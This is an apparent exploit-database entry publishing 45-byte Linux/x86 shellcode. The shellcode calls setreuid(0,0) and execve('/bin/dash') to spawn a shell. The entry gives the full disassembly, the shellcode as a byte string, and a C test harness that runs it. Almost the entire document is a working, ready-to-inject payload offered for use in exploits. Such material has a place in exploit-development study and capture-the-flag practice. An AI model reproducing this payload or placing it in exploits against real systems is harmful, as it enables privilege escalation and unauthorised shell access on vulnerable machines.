Linux/x86 - exec('/bin/dash') shellcode (45 bytes)

2015-06-26 00:05:54

/*
# Title: Linux/x86 exec('/bin/dash') - shellcode 45 bytes
# Platform: linux/x86_64
# Date: 2015-06-15
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham


Disassembly of section .text:

00000000 <.text>:
0: b0 46 mov $0x46,%al
2: 31 db xor %ebx,%ebx
4: 31 c9 xor %ecx,%ecx
6: cd 80 int $0x80
8: 68 90 90 90 68 push $0x68909090
d: 58 pop %eax
e: c1 e8 10 shr $0x10,%eax
11: c1 e8 08 shr $0x8,%eax
14: 50 push %eax
15: 68 2f 64 61 73 push $0x7361642f
1a: 68 2f 62 69 6e push $0x6e69622f
1f: 89 e3 mov %esp,%ebx
21: 31 c0 xor %eax,%eax
23: b0 0b mov $0xb,%al
25: cd 80 int $0x80
27: b0 01 mov $0x1,%al
29: b3 01 mov $0x1,%bl
2b: cd 80 int $0x80
*/

#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[]= "\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x90\x90\x90\x68\x58\xc1\xe8\x10\xc1\xe8\x08\x50\x68\x2f\x64\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}

Fixes

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